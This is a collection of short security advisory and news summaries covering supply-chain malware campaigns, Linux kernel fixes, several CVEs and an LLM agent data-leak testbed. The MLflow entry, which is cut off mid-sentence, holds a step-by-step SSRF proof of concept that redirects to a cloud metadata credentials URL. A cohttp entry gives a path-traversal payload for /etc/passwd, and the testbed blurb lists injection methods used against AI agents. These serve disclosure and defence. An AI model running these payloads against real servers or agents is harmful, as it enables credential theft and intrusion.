Two men in Australia were arrested for their alleged involvement in TeamPCP, a cybercrime syndicate responsible for extensive software supply chain attacks. TeamPCP embedded malicious code in numerous open source software tools, compromising thousands of global businesses. The group used a self-propagating worm called Shai-Hulud to infect open source projects and steal developer credentials, enabling further malicious code insertion. They also ran a contest to recruit additional hackers by incentivizing supply chain compromises. Their attacks included targeting AI infrastructure via the LiteLLM open source AI gateway, harvesting cloud service keys from over 2,500 organizations. TeamPCP compromised thousands of code repositories on GitHub by exploiting compromised developer tools. The group appears to be a loose coalition of multiple cybercriminal actors rather than a single structured entity.
This report describes an empirical security testbed designed to evaluate how large language model (LLM) agents can be manipulated into leaking sensitive data through tool calls. The testbed compares a naive backend that blindly returns requested data with no validation against a hardened backend that enforces access controls and strips sensitive fields like passwords. The study found that blunt prompt attacks are blocked by the LLM's safety guardrails, but more subtle engineering-style requests can bypass naive backends and leak secrets. The vulnerability arises primarily from trusting the LLM as a caller without backend validation. The testbed includes multiple attack categories such as direct override, role authority claims, indirect injection, boundary bypass, and chained requests. The code, test traces, and detailed reports are publicly available on GitHub.
In the Linux kernel, the following vulnerability has been resolved: veth: fix queue index used to wake the peer txq in veth_poll veth_poll() derives the index of the peer TX queue to wake from rq->xdp_rxq.queue_index. That field is only initialized by xdp_rxq_info_reg() in veth_enable_xdp_range(), which runs only when an XDP program is attached. On the plain GRO/NAPI path (veth_napi_enable_range()) xdp_rxq_info_reg() is never called, so queue_index stays 0 for every queue, as priv->rq is zero-allocated. So in a multi-queue setup with GRO enabled and no XDP program attached, every NAPI instance looks at the peer's TX queue 0. If veth_xmit() stops peer TX queue 1 because the ptr_ring is full (NETDEV_TX_BUSY), nothing ever wakes it again: the poller draining queue 1 wakes queue 0 instead. veth implements no ndo_tx_timeout, so the netdev watchdog does not kick in either, and the queue stays stopped indefinitely. Derive the index from the position of the rq within priv->rq instead, which is correct regardless of whether XDP was ever enabled. Scripts to reproduce the stall are available at https://github.com/netoptimizer/veth-backpressure-performance-testing
The IronLantern tool is a remediation and recovery utility developed to address infections by the Yogi malware, a Python 3.9/PyInstaller-based implant targeting Windows systems. Yogi malware establishes persistence through multiple mechanisms including registry Run keys and startup folder entries, creates randomized copies in user application data directories with hidden attributes, and employs a repeating-XOR ransomware encryption scheme with deterministic SHA-256-derived keys. The malware communicates with command and control servers via JSON over HTTP(S), with identified endpoints at go-ns.org.ua. IronLantern detects the exact malware sample, cleans persistence mechanisms, terminates live processes, quarantines or deletes malicious files, and recovers files encrypted by the XOR scheme. The tool and full reverse engineering report are publicly available on GitHub. No official vendor advisory or patch exists, and no known exploits in the wild have been reported.
GitHub CLI (gh) versions 2.28.0 through 2.97.0 have a security issue where the local listener created by the codespace ports forward feature binds to all network interfaces by default. This allows services running in a Codespace to be reachable via the user's non-loopback local IP addresses by other hosts on the same network, even if the Codespaces port itself remains private. The issue requires a network-adjacent attacker to access the victim's machine while port forwarding is active. The vulnerability is fixed in version 2.98.0.
Aegis Latent Core is an open-source AI governance and evidence gateway designed to improve compliance and forensic logging for multi-provider large language model (LLM) applications. It uses cryptographic methods such as a Rust-based write-ahead log and Merkle Mountain Ranges to create tamper-evident logs of AI inference requests and responses. The system exports forensic evidence bundles aligned with digital evidence standards. It is self-hosted and does not claim certification or service-level objectives. No vulnerabilities or exploits are reported in this project.
The npm package 'classroomhomework' version 1.0.0 contains malicious code that impersonates Google Classroom to conceal a remote-fetch-and-execute payload delivery mechanism. It fetches and executes JavaScript from a dynamically constructed URL pointing to a personal GitHub repository via a jsDelivr mirror, allowing the attacker to change the payload at will. This behavior effectively compromises any system running the package, potentially giving full control to an attacker.
CVE-2026-78180 is a medium severity vulnerability in alibaba-fusion next up to version 1.27.34. It involves improper control of object prototype attribute modification via the ConfigProvider.getContextProps function in the components/dialog/index.tsx file, specifically related to the deepMerge component. The vulnerability can be triggered remotely by manipulating the locale argument. The issue was reported but the related GitHub issue was closed due to inactivity. No patch or remediation information is currently available.
justhtml versions before 1.13.0 have a cross-site scripting (XSS) vulnerability in the to_markdown() function. This flaw allows attackers to inject backticks inside sanitized pre elements, breaking out of fixed-length code fences and enabling execution of raw HTML when rendered by CommonMark or GitHub Flavored Markdown (GFM) renderers.
In the Linux kernel, the following vulnerability has been resolved: mm: fix incorrect flush address in direct page table reclaim When zap_pte_range reclaims a page table, it does: pte_free_tlb(tlb, pmd_pgtable(pmdval), addr); and this is unconditionally wrong: if this code executes, addr *always* points one past the end of the range covered by the table. The addr parameter is used to flush the TLB (really the paging-structure-cache) to drop references to the to-be-freed table, and any architecture that cares about the parameter will flush the wrong address. (But they'll still free the correct page). I think it's worth contemplating why the kernel works at all. If we hit the offending line of code, we will first clear the PMD entry (line 1954, zap_empty_pte_table), then we will issue pending flushes if force_flush is set (tlb_flush_mmu_tlbonly(tlb)), then we will skip the retry on line 1979 (phew!), and then we will do the offending pte_free_tlb call. *Or* we will clear the PMD entry immediately before pte_free_tlb (line 1983, zap_pte_table_if_empty). If we have any pending flushes (i.e. we actually zapped any last-level entries) at the time we clear the PMD entry, then the flush really ought to flush all references to the table (Linus certainly seems to think it will on all architectures [0]). The condition under which we have no accumulated flushes at the time of the clear is very complex (the whole zap_pte_range function has absurdly complex control flow). If we do hit the bad case, then we will end up clearing the PMD entry after the last time the range is flushed, and any CPU is free to cache a reference to the (empty) page table. If this happens due to an ordinary read or write, it would segfault, so it would be rare. But the cache could be speculatively filled as well. Then we'll flush the wrong address and then free and possibly reuse the table. On x86, even flushing the wrong address works on non-KPTI Intel systems because INVLPG flushes *all* paging-structure-caches, not just the ones for the target address. But INVPCID does not, and flush_tlb_one_user will use INVPCID if it's available. And then we're toast. AMD systems are more susceptible: we set the EFER.TCE bit, which makes even INVLPG only flush the target address. I think this might fix an issue in ripgrep reported here: https://github.com/BurntSushi/ripgrep/issues/3494 [0] https://lore.kernel.org/all/CA+55aFzBggoXtNXQeng5d_mRoDnaMBE5Y+URs+PHR67nUpMtaw@mail.gmail.com/T/#u
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Apache InLong. Agent Installer's ModuleManager executes arbitrary shell
commands via ExcuteLinux.exeCmd() with no filtering or whitelist
validation.
This issue affects Apache InLong: from 2.0.0 before 2.4.0.
Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1]/[2] to solve it.
[1] https://github.com/apache/inlong/pull/12151 .
[2] https://github.com/apache/inlong/pull/12155 .
The Head Mare APT group exploited two vulnerabilities in TrueConf video conferencing servers released since 2022 to deliver PhantomCore malware to conference participants. These vulnerabilities allowed attackers to execute arbitrary code, replace legitimate client installers with malicious versions, and deploy web shells. Infected installers deployed a backdoor granting attackers full control over infected systems. On Linux servers, additional backdoors used GitHub as a command and control channel. The vulnerabilities were patched in TrueConf server versions 5.3.9, 5.4.9, and 5.5.5 released in June 2026. Organizations with employees participating in TrueConf conferences may have been affected even without operating their own servers.
A typosquatting campaign involved 40 fake npm packages impersonating popular libraries such as chalk, axios, lodash, react, typescript, and commander. The malicious install scripts detected Windows Subsystem for Linux (WSL) environments and used this as a vector to execute native payloads on the underlying Windows host. These payloads targeted cryptocurrency wallets, Chromium browser data, and Telegram sessions. Although the npm packages were removed after about 84 minutes, the payload hosted on GitHub remained active for approximately 39 hours, continuing the attack beyond the removal of the delivery mechanism.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
Bulletin ID: 2026-002-AWS Scope: AWS Content Type: Informational Publication Date: 2026/01/15 07:03 AM PST Description: A security research team identified a configuration issue affecting the following AWS-managed open source GitHub repositories that could have resulted in the introduction of inappropriate code: - aws-sdk-js-v3 - aws-lc - amazon-corretto-crypto-provider - awslabs/open-data-registry Specifically, researchers identified the above repositories' configured regular expressions for AWS CodeBuild webhook filters intended to limit trusted actor IDs were insufficient, allowing a predictably acquired actor ID to gain administrative permissions for the affected repositories. We can confirm these were project-specific misconfigurations in webhook actor ID filters for these repositories and not an issue in the CodeBuild service itself. The researchers carefully demonstrated the potential to commit inappropriate code, through an empty code commit, to one repository and promptly informed AWS Security of their research activity and its potential negative impact. No inappropriate code was introduced to any of the affected repositories during this security research activity, the demonstrated empty code commit to one repository had no impact to any AWS customer environments and did not impact any AWS services or infrastructure. No customer action is required. Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin.
The github-issue-bot templates in appwrite/templates verify the GitHub webhook signature with an inverted condition. verifyWebhook in node/github-issue-bot/src/github.js and in node-typescript/github-issue-bot/src/github.ts returns "typeof signature !== 'string' || (await verify(...))", so when the X-Hub-Signature-256 header is absent the first operand is true, the logical OR short-circuits, and the function reports success without performing any HMAC verification. main.js rejects a request only when verifyWebhook returns false, so an unauthenticated request carrying no signature passes the check. Processing then continues to postComment, which takes the repository and issue objects directly from the request body, letting the caller direct the deployed function to post a comment on a repository and issue of their choosing using the configured GITHUB_TOKEN, with the issue author login from the body interpolated into the comment text.
The issue is that the function normalizes the URI path before percent
decoding it:
```OCaml
let resolve_local_file ~docroot ~uri =
let path = Uri.(pct_decode (path (resolve "http" (of_string "/") uri))) in
...
```
Because `%2f` is decoded after Uri.resolve, encoded separators survive
dot-segment normalization. For example, a request path like:
```
/static/..%2f..%2f..%2fetc/passwd
```
is normalized as a single encoded segment, then decoded into:
```
/static/../../../etc/passwd
```
afterwards.
## Timeline
- Aug 11th 2026: report to security@ocaml.org
- Aug 14th 2026: PR published on <https://github.com/mirage/ocaml-cohttp/pull/1145>
- Aug 20th 2026: fix released in v6.3.0 <https://github.com/ocaml/opam-repository/pull/30528>
BRIDGEHEAD is a supply-chain typosquatting campaign discovered in August 2026 that distributed 40 malicious npm packages impersonating popular libraries such as chalk, axios, and lodash. These packages contained install scripts that detect Windows or Windows Subsystem for Linux (WSL) environments and download a 22MB Rust-based executable from GitHub. The payload executes entirely in memory without writing files to disk and targets cryptocurrency wallets, browser credentials, cookies, and Telegram sessions. The campaign leverages legitimate services for reconnaissance and data exfiltration, complicating detection and takedown efforts. Although the malicious npm packages were removed within 84 minutes, the GitHub-hosted payload remained active for 39 hours, and the command-and-control server continued operating. This campaign specifically targets developers using WSL by crossing from Linux environments into Windows systems.
Uncontrolled Resource Consumption vulnerability in Apache InLong. Users could affect operational configuration or allow upload of non-official packages.
This issue affects Apache InLong: from 2.0.0 before 2.4.0.
Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1] to solve it.
[1]
https://github.com/apache/inlong/pull/12095 https://github.com/apache/inlong/pull/11732
Uncontrolled Resource Consumption vulnerability in Apache InLong. Non-template responsible persons can view template information.
This issue affects Apache InLong: from 2.0.0 before 2.4.0.
Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1] to solve it.
[1]
https://github.com/apache/inlong/pull/12093 https://github.com/apache/inlong/pull/11732